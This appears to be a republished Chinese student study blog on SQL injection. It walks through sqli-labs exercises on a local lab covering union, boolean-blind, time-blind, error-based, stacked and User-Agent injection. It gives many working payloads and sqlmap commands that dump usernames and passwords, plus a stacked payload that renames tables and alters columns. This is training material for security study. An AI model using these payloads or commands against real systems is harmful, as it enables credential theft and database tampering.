云曦暑期学习第一周——sql注入

这篇具有很好参考价值的文章主要介绍了云曦暑期学习第一周——sql注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1浅谈sql注入

1.1sql注入

sql注入是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的sql语句来实现对数据库的任意操作

1.2原理

条件:

1.参数用户可控:前端传给后端的参数内容是用户可以控制的

2.参数带入数据查询:传入的参数拼接到sql语句,且带入数据库查询

当传入的id参数为1'时,数据库执行的代码为:

SELECT * from users where id=1'

云曦暑期学习第一周——sql注入,学习,sql,oracle

 由于这不符合数据库语法规范,所以会报错

当传入的id参数为and 1=1时,执行的sql语句为:

SELECT * from users where id=1 and 1=1

 由于1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果

云曦暑期学习第一周——sql注入,学习,sql,oracle

但是当传入的id参数为and 1=2时,由于1=2并不成立,所以返回假,页面就会返回与id=1不同的结果

云曦暑期学习第一周——sql注入,学习,sql,oracle

 由上可以初步判断id参数存在sql注入漏洞,攻击者可以进一步拼接sql语句进行攻击,使得数据库信息泄露,甚至进一步获得服务器权限等。

1.3MySql

1.3.1 information_schema库

是信息数据库,其中保存着关于MySql服务器所维护的所有其他数据库的信息,比如数据库名,数据库表,表字段的数据类型与访问权限等

SCHEMATA表:存储该用户创建的所有数据库的库名(该表中记录数据库库名的字段名为SCHEMA_NAME)

SELECT * from SCHEMATA

云曦暑期学习第一周——sql注入,学习,sql,oracle

 TABLES表:存储该用户创建的所有数据库的库名和表名(该表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME)

SELECT * from TABLES

云曦暑期学习第一周——sql注入,学习,sql,oracle

 COLUMNS表:存储该用户创建的所有数据库的库名,表名和字段名(该表中记录数据库库名,表名和字段名的字段名为TABLE_SCHEMA, TABLE_NAME , COLUMN_NAME)

SELECT * from COLUMNS

云曦暑期学习第一周——sql注入,学习,sql,oracle

1.3.2 mysql查询语句

SELECT 要查询的字段 FROM 库名.表名 WHERE 已知条件的字段名='已知条件的值'

1.3.3几个函数

database():当前网站使用的数据库

version():当前mysql的版本

user():当前mysql的用户

1.4sqlmap的使用

参考SQLMap使用教程:从入门到入狱详细指南_貌美不及玲珑心,贤妻扶我青云志的博客-CSDN博客

自己也写过sqlmap_木…的博客-CSDN博客

2.union注入

以sqlilab第一关为例

1.

?id=1

云曦暑期学习第一周——sql注入,学习,sql,oracle

 2.

?id=1'

云曦暑期学习第一周——sql注入,学习,sql,oracle 

3.

?id=1 and 1=1

 由于and 1=1 为真,所以页面应返回与id=1 一样的结果

云曦暑期学习第一周——sql注入,学习,sql,oracle

 文章来源地址https://www.toymoban.com/news/detail-591668.html

?id=1 and 1=2

云曦暑期学习第一周——sql注入,学习,sql,oracle

逻辑本身不成立,但是页面回显正常,说明这不是数字型

4.判断类型

?id=1' -- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

 

?id=1' and 1=1-- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

?id=1' and 1=2-- +

云曦暑期学习第一周——sql注入,学习,sql,oracle 看到页面成功回显,那说明类型为字符型

或者?id=1, ?id=2, ?id=2-1,如果id=2-1 与 id=1的页面一样,就是数字型;如果id=2-1与id=2的页面一样,就是字符型

 

5.查询该数据表的字段数量

?id=1' order by 3 -- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

?id=1' order by 4 -- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

 得出字段数为3

6.爆回显位

?id=1' union select 1,2,3 -- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

 可以看到页面执行成功,但是没有返回union select的结果。这是由于代码只返回第一条结果,所以union select 获取的结果没有输到页面。通过查询数据库可以发现只返回了第一条

 云曦暑期学习第一周——sql注入,学习,sql,oracle

可以通过设置参数id值,让服务端返回union select的结果。

如果把id值改为-1,因为数据库中没有-1的数据,所以会返回union select的结果

?id=-1' union select 1,2,3 -- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

 回显2,3,这意味着2和3的位置可以输入mysql语句云曦暑期学习第一周——sql注入,学习,sql,oracle

 

 

7.爆库

在3的位置查询当前数据库名,使用database()函数云曦暑期学习第一周——sql注入,学习,sql,oracle得到库名是security

云曦暑期学习第一周——sql注入,学习,sql,oracle

 

7.爆表名

?id=-1' union select 1,2, table_name from information_schema.tables where table_schema='security'-- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

 但是我们查询一下数据库,会发现不止emais云曦暑期学习第一周——sql注入,学习,sql,oracle

所以这里需要用到一个函数

Group_concat()函数

用处:GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。

id=-1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security'-- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

 云曦暑期学习第一周——sql注入,学习,sql,oracle

 

8.爆字段

id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users'-- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

 云曦暑期学习第一周——sql注入,学习,sql,oracle

 

9.爆数据

这里使用concat_ws("",A,B.C),最后输出形式为A~B~C,有利于用户名和密码相对应,也可以把“~”改为16进制:0x7e

?id=-1' union select 1,2,group_concat(concat_ws("~",id,username , password)) from users--+

云曦暑期学习第一周——sql注入,学习,sql,oracle

 

使用sqlmap跑一下

1.判断其是否存在注入的命令如下:

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1

云曦暑期学习第一周——sql注入,学习,sql,oracle

2.查看数据库名称

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs

云曦暑期学习第一周——sql注入,学习,sql,oracle

3.获取表名

列出了6个数据库名称,看到有一个 security的数据库,看看它有什么表。用 -D 选择数据库 security。再用 --tables 参数显示所有表名。

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security --tables

云曦暑期学习第一周——sql注入,学习,sql,oracle

 

4。获取字段名

--tables缩写成-T,意思是在某表中继续查询

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --columns

云曦暑期学习第一周——sql注入,学习,sql,oracle 

 5.获取字段内容

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users -C username,password --dump

云曦暑期学习第一周——sql注入,学习,sql,oracle

3.布尔盲注

一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,
构造SQL语句,
利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,
从而达到注入的目的来获取信息的一种方法根据页面结果得知是字符型但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。

以sqlilab第五关为例

1.

?id=1

云曦暑期学习第一周——sql注入,学习,sql,oracle

 2.

id=1'

云曦暑期学习第一周——sql注入,学习,sql,oracle

 发现无论如何修改id的值,返回的依然只有you are in或者报错

所以此处应该用布尔盲注:构造sql判断语句,通过查看页面的返回结果来推测哪些sql判断语条件是成立的,以获取数据库中的数据。

3.先判断列数云曦暑期学习第一周——sql注入,学习,sql,oracle

 判断列数为3

4.判断库名长度是8   (使用 length()函数)

?id=1' and length(database())=8--+

云曦暑期学习第一周——sql注入,学习,sql,oracle

 5.判断数据库名

通过ascii()函数和substr()函数,比较ascii表

substr()函数 截取每一个字符,并穷举出字符内容云曦暑期学习第一周——sql注入,学习,sql,oracle

 对比得到第一个字母为s

 云曦暑期学习第一周——sql注入,学习,sql,oracle

 以此类推得到库名为security

6.判断表名长度

id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29-- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

 得到表名长度为29

7.判断表名

id=1' and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,1))=101-- +

 云曦暑期学习第一周——sql注入,学习,sql,oracle

云曦暑期学习第一周——sql注入,学习,sql,oracle 

 

 依次类推,得到表名

8.判断字段名长度

id=1' and length((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()))=20-- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

得到字段名长度为20

9.判断字段名

?id=1' and ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()),1,1))=105 -- +

云曦暑期学习第一周——sql注入,学习,sql,oracle 

云曦暑期学习第一周——sql注入,学习,sql,oracle 

 

sqlmap

 

sqlmap.py -u http://127.0.0.1/sqli/Less-2/?id=1 --dbs

云曦暑期学习第一周——sql注入,学习,sql,oracle

 

sqlmap.py -u http://127.0.0.1/sqli/Less-2/?id=1 -D security --tables

云曦暑期学习第一周——sql注入,学习,sql,oracle

 中间就省略了

sqlmap.py -u http://127.0.0.1/sqli/Less-2/?id=1 -D security -T users  -C password,username --dump

云曦暑期学习第一周——sql注入,学习,sql,oracle

 

3.时间盲注

自我认为跟布尔盲注差别不大

需要用到if函数跟sleep函数

if(查询语句,sleep(10),1)

云曦暑期学习第一周——sql注入,学习,sql,oracle

云曦暑期学习第一周——sql注入,学习,sql,oracle页面不会有变化

1.判断闭合符

?id=1' and if(1=1,sleep(10),1)-- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

2.判断列数

云曦暑期学习第一周——sql注入,学习,sql,oracle

3.判断数据库长度

id=1' and if(length((select database()))=8,sleep(10),1)-- +

这时页面加载了十秒,所以数据库长度是8

4.判断数据库名

?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(10),1)-- +

以此类推得到为security

5.判断表的长度

/?id=1' and if(length((select group_concat(table_name)from information_schema.tables where table_schema='security'))=29,sleep(10),1)

为29

6.判断表的名称

?id=1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,1))=101,sleep(10),1)-- +

得到emails,referers,uagents,users

7.判断字段名长度

?id=1' and if(length((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()))=20,sleep(10),1)-- +

为20

8.判断字段名称

?id=1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()),1,1))=105,sleep(10),1)-- +

id,username,password

9.判断值的长度

?id=1' and if(length((select group_concat(id,username,password)from security.users))=192,sleep(5),1)-- +

192

10.判断值

?id=1' and if(ascii(substr((select group_concat(id,username,password)from security.users),1,1))=49,sleep(10),1)-- +

sqlmap

sqlmap.py -u http://127.0.0.1/sqli/Less-9/?id=1 -D security -T users  -C password,username --dump

云曦暑期学习第一周——sql注入,学习,sql,oracle

4.报错注入

updatexml()

UPDATEXML (xml_document, XPathstring, new_value)。

第一个参数:xml_document,文档名称。

第二个参数:XPathstring (Xpath格式的字符串),做内容定位。

第三个参数:new_value,String格式,替换查找到的符合条件的值。

concat()  把两个字符串合并

以sqlilab十三关为例

1.判断注入点

username输a'

password随便输了1

报错信息如下

云曦暑期学习第一周——sql注入,学习,sql,oracle

说明闭合符是')

2.判断报错条件

1') and updatexml(1,0x7e,3) -- +

0x7e就是~云曦暑期学习第一周——sql注入,学习,sql,oracle

 页面显示了报错函数指定的内容,说明可以使用报错注入

3.爆数据库

1') and updatexml(1,concat(0x7e,database()),3)-- +云曦暑期学习第一周——sql注入,学习,sql,oracle

 发现数据库回显

4.爆表

1') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

 5.爆字段名

1') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')),3)-- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

 

6.爆值

这里发现因为长度被限制,就使用limit一个一个爆

1') and updatexml(1,concat(0x7e,(select concat(username,password) from security.users  limit 0,1),0x7e),1) --+

云曦暑期学习第一周——sql注入,学习,sql,oracle

 sqlmap

有两个参数

sqlmap.py -u http://127.0.0.1/sqli/Less-13/ --data "uname=1&passwd=11" --current-db

云曦暑期学习第一周——sql注入,学习,sql,oracle

 

sqlmap.py -u http://127.0.0.1/sqli/Less-13/ --data "uname=1&passwd=1" -D "security" --tables
sqlmap.py -u http://127.0.0.1/sqli/Less-13/ --data "uname=1&passwd=1" -D "security" -T "users" --columns
sqlmap.py -u http://127.0.0.1/sqli/Less-13/ --data "uname=1&passwd=1" -D "security" -T "users" -C username,password --dump

云曦暑期学习第一周——sql注入,学习,sql,oracle

 

5.堆叠注入

 参考文章:sql注入之堆叠注入_Toert_T的博客-CSDN博客

1.云曦暑期学习第一周——sql注入,学习,sql,oracle

 

 2.云曦暑期学习第一周——sql注入,学习,sql,oracle因为1'时报错,说明闭合符号为单引号

3.

1' order by 2 --+

云曦暑期学习第一周——sql注入,学习,sql,oracle得到字段数为2

 

 

4.尝试使用union联合注入,1' union select 1,2#云曦暑期学习第一周——sql注入,学习,sql,oracle

 应该是过滤了select,不管是编码还是注释都不行,select一被禁用,联合查询和报错注入,布尔,时间盲注就都不可以使用。因此这个题使用堆叠注入。简单就是将一堆sql语句叠加在一起执行,使用分号结束上一个语句再叠加其他语句一起执行。

学习一下show()函数MySQL show()函数详述_mylcdshow是什么函数_qq_36801966的博客-CSDN博客

show databases    //列出服务器可访问的数据库
show tables     //显示该数据库内相关表的名称
show columns from tablename;//显示表tablename的字段、字段类型、键值信息、是否可以用null、默认值及其他信息

5.1’;show database;   云曦暑期学习第一周——sql注入,学习,sql,oracle发现行得通

 6.1';show tables;

云曦暑期学习第一周——sql注入,学习,sql,oracle

 7. 1'; show columns from words; 云曦暑期学习第一周——sql注入,学习,sql,oracle爆words表

 

8. 1'; show columns from `1919810931114514`#    爆这个表

云曦暑期学习第一周——sql注入,学习,sql,oracle关于在这里使用 ` 而不是 ’ 的一些解释:

两者在linux下和windows下不同,linux下不区分,windows下区分。

在MySQL中 反引号 ` 用来区分保留字符与普通字符

单引号 ’ 或双引号主要用于 字符串的引用符号

反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)

有MYSQL保留字作为字段的,必须加上反引号来区分!!!

如果是数值,请不要使用引号,要用那个反引号包裹起来

9.从之前的回显发现实际上都是words表内的,若想得到flag中的内容,需将其换为words表内的内容进行回显

换个角度来说,就是我们需要将1919810931114514表名换为words,并将flag的列名换为id

则需要以下三步:

    将表名words换为其他的,类似于word1
    将表名1919810931114514换为words
    将列名flag换为id

并通过之前的过滤规则发现并没有过滤掉alter、rename等关键字

于是构造payload:

1' ; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ;  alter table `words` change `flag` `id` varchar(100);#

rename - 重命名  重命名表words为word1

alter - 变更列  变更表words中的列flag为id 且其性质为varchar(100)

 

10,改变数据库结构后,使用万能密码,得到flag

1' or 1=1#云曦暑期学习第一周——sql注入,学习,sql,oracle

6.UA注入

以sqlilab18为例

感觉和报错注入大同小异,就是注入点不一样

打开环境,给了你ip

云曦暑期学习第一周——sql注入,学习,sql,oracle

1.看一下源代码云曦暑期学习第一周——sql注入,学习,sql,oracle

 

 云曦暑期学习第一周——sql注入,学习,sql,oracle

 

所以这两个框都没办法进行注入,使用bp抓包

2.把ua变成单引号云曦暑期学习第一周——sql注入,学习,sql,oracle

发现报错,则说明单引号是闭合符

3.ua为 '1'

看一下报错信息,可以发现有三个参数,分别是'ua','ip','用户'

但是我们只能设置ua,但是一定要用三个参数不然就会报错

尝试一下报错注入

' or updatexml(1,0x7e,3),1,2) -- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

 

 4.爆库

' or updatexml(1,concat(0x7e,database()),3),1,2)-- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

 

5.爆表

' or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3),1,2)-- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

6. 爆字段

' or updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')),3),1,2)-- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

 

7.爆值 使用limit

' or updatexml(1,concat(0x7e,(select concat(id,username,password)from security.users limit 0,1)),3),1,2)-- +

云曦暑期学习第一周——sql注入,学习,sql,oracle

 

到了这里,关于云曦暑期学习第一周——sql注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • **PyTorch月学习计划 - 第一周;第6-7天: 自动梯度(Autograd)**

    PyTorch月学习计划 - 第6-7天: 自动梯度(Autograd) 学习目标: 掌握自动微分的基本原理,特别是在深度学习中的应用。 学会如何在PyTorch中使用autograd模块进行自动梯度计算。 学习内容: 自动微分和计算图的概念 自动微分:自动微分是深度学习中用于自动计算导数或梯度的技

    2024年01月21日
    浏览(47)
  • sheng的学习笔记-【中文】【吴恩达课后测验】Course 1 - 神经网络和深度学习 - 第一周测验

    目录:目录 1.“人工智能是新电力” 这个比喻指的是什么? A. 【  】人工智能为我们的家庭和办公室的个人设备供电,类似于电力。 B. 【  】通过“智能电网”,人工智能正在传递新一波的电力。 C. 【  】人工智能在计算机上运行,因此由电力驱动,但它让计算机做以前

    2024年02月07日
    浏览(37)
  • 机器学习第一周:用卷积神经网络实现Mnist手写数字识别(付基础知识解释)

    MNIST 数据集是一个手写数字识别数据集,包含了 60000 张训练图像和 10000 张测试图像,每张图像都是 28x28 像素的灰度图像。 在这个代码中,我们首先使用了 numpy 库中的 np.random.seed() 方法来设置随机种子,以确保结果可重复。 然后,我们使用了 Keras 中的 mnist.load_data() 方法来

    2024年02月08日
    浏览(43)
  • 报名开启 | HarmonyOS第一课“营”在暑期系列直播

    HarmonyOS第一课2023年再次启航! 特邀HarmonyOS布道师云集华为开发者联盟直播间 聚焦HarmonyOS 4版本新特性 邀您一同学习 赢好礼! 你准备好了吗? ↓↓↓预约报名↓↓↓ 点击关注了解更多资讯,报名学习  

    2024年02月11日
    浏览(39)
  • 第一周作业

    (1)VMware下载安装 1)下载地址:https://www.vmware.com/cn/products/workstation-pro/workstation-pro-evaluation.html 2)选择对应的操作系统版本进行下载 3)VMware安装 双击下载好的安装包 点击“下一步” 选中“我接受许可协议中的条款”,点击“下一步” 安装位置可自定义,点击“下一步”

    2024年02月03日
    浏览(30)
  • 独立开发尝试第一周

    本周简单写了个前端页面,主要是json 在线可视化 申请了一个域名:https://jsonview.info/ 用vercel 部署了一下,真是神器,可以和github打通,代码提交一键部署 接入了google 分析 提交google、百度收录 短期目标,希望能够在技术上可以将网站推广营销工具熟悉完成,后续可复制,只

    2024年02月16日
    浏览(37)
  • 算法训练 第一周

    本题给出了两个整数数组nums1和nums2,这两个数组均是非递减排列,要求我们将这两个数组合并成一个非递减排列的数组。题目中还要求我们把合并完的数组存储在nums1中,并且为了存储两个数组中全部的数据,nums1中给出了空余的空间来存放nums2中的数据。本题的做法有很多,

    2024年02月10日
    浏览(33)
  • JAVA EE 第一周

    计算机Z20-第1周作业        总分:100分              1 . 单选题 简单 6分 下列选项中,哪些属于网站建设常用技术( )。 A.HTML B.JavaScript C.CSS D.以上都是 2 . 单选题 简单 6分 下列选项中,哪个不是静态网页的文件扩展名( )。 A.xml B.jsp C.htm D.shtml 3 . 单选题 简单 6分

    2024年02月06日
    浏览(38)
  • Oracle sql 把hjmc等于实施方案的,排序在第一,并且把sxh等于-1的排在最后

    要将 hjmc 等于\\\"实施方案\\\"的行排序在第一,并将 sxh 等于-1的行排在最后,你可以使用 ORDER BY 子句来实现。假设你的数据表名为 your_table_name ,你可以使用以下SQL查询: 这里的逻辑是: 使用第一个 CASE 语句为 hjmc 等于\\\"实施方案\\\"的行赋予一个优先级(这里是0),而对于其他的

    2024年01月16日
    浏览(69)
  • 前端实习第一周周记

    第一天来的时候,十点左右就开始跑代码了,公司发了电脑,但由于自己的电脑环境比较齐全,所以就先用自己的电脑跑的代码。 一共是两个项目,一个pc类似于管理系统,还有一个是微信小程序。 拉代码的过程中遇到的问题: 自己的电脑git切换用户名和密码后拉代码报错

    2024年02月15日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包